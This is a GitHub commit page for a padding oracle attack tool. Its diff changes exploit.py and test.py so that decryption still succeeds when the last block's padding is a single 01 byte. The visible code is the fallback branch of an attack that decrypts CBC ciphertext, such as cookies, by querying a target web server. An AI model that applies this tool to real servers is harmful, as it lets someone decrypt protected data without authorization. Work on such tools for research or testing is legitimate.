Skip to content

Commit 28ed1f6

Browse files
committed
FIX decryption fail with padding 01 #1
> python test.py -m testTESTtestTESTtestTESTtestTES -v won't work, because the byte 1 is bypassed by ct_pos != i+1 (which in test.py is ct_pos != 1 different from exploit.py) Correction : if no padding is found on last byte of the last block, we try with padding 01 and check then the second, third... byte !
1 parent 015c6d7 commit 28ed1f6

File tree

2 files changed

+41
-15
lines changed

2 files changed

+41
-15
lines changed

exploit.py

+20-7
Original file line numberDiff line numberDiff line change
@@ -142,13 +142,26 @@ def run(cipher,size_block,host,url,cookie,method,post,error):
142142

143143
break
144144
if found == False:
145-
print "\n[-] Error decryption failed"
146-
result.insert(0, ''.join(valide_value))
147-
hex_r = ''.join(result)
148-
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
149-
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
150-
print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
151-
sys.exit()
145+
# lets say padding is 01 for the last block (the padding block)
146+
if len(cipher_block)-1 == block:
147+
value = re.findall('..',bk)
148+
valide_value.insert(0,"01")
149+
if args.verbose == True:
150+
print ''
151+
print '[-] No padding found, but maybe the padding is length 01 :)'
152+
print "[+] Block M_Byte : %s"% bk
153+
print "[+] Block C_{i-1}: %s"% bp
154+
print "[+] Block Padding: %s"% bc
155+
print ''
156+
bytes_found = ''.join(valide_value)
157+
else:
158+
print "\n[-] Error decryption failed"
159+
result.insert(0, ''.join(valide_value))
160+
hex_r = ''.join(result)
161+
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
162+
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
163+
print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
164+
sys.exit()
152165
found = False
153166

154167
result.insert(0, ''.join(valide_value))

test.py

+21-8
Original file line numberDiff line numberDiff line change
@@ -154,14 +154,27 @@ def run(cipher,size_block):
154154

155155
break
156156
if found == False:
157-
print "\n[-] Error decryption failed"
158-
result.insert(0, ''.join(valide_value))
159-
hex_r = ''.join(result)
160-
if len(hex_r) > 0:
161-
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
162-
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
163-
print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
164-
sys.exit()
157+
# lets say padding is 01 for the last block (the padding block)
158+
if len(cipher_block)-1 == block:
159+
value = re.findall('..',bk)
160+
valide_value.insert(0,"01")
161+
if args.verbose == True:
162+
print ''
163+
print '[-] No padding found, but maybe the padding is length 01 :)'
164+
print "[+] Block M_Byte : %s"% bk
165+
print "[+] Block C_{i-1}: %s"% bp
166+
print "[+] Block Padding: %s"% bc
167+
print ''
168+
bytes_found = ''.join(valide_value)
169+
else:
170+
print "\n[-] Error decryption failed"
171+
result.insert(0, ''.join(valide_value))
172+
hex_r = ''.join(result)
173+
if len(hex_r) > 0:
174+
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
175+
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
176+
print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
177+
sys.exit()
165178
found = False
166179

167180
result.insert(0, ''.join(valide_value))

0 commit comments

Comments
 (0)